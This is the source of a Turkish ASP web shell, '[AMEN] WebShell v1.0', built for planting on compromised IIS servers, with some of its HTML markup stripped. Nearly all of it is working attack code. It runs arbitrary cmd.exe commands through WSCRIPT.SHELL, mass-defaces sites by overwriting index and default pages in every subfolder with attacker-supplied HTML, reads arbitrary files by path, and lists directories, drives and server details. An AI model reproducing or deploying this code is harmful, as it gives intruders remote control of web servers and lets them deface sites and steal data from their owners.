<% 'AMEN
'WebShell '2007-08 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.php", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!: " & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>World Wars Protest [AMEN] Web Shell

[AMEN] WebShell v1.0

Server Bilgileri:
|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

Dizinleri Göster : >

Direktörler

Arsivler
<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & "
" contador=contador+1 next%> 		 <%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & "
" Next%> 


MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :


CMD Bilgileri:
<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %> 
  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
" method="POST">
cmd>

Direktörler / Arşivler:

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

 <%set ObjPasta = nothing set Objeto = nothing%>
<%set ObjPasta = nothing set Objeto = nothing%>

 

Extra Bilgiler
<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>
Hard Diskler
Tipleri
Numaralari
Sistem Bilgileri ve Arsivler
Limit
Total
<%=d.driveletter%>
<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>
<%=n%>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

    Server Hakkında Geniş Bilgi

_____________________________________________________________________________________________________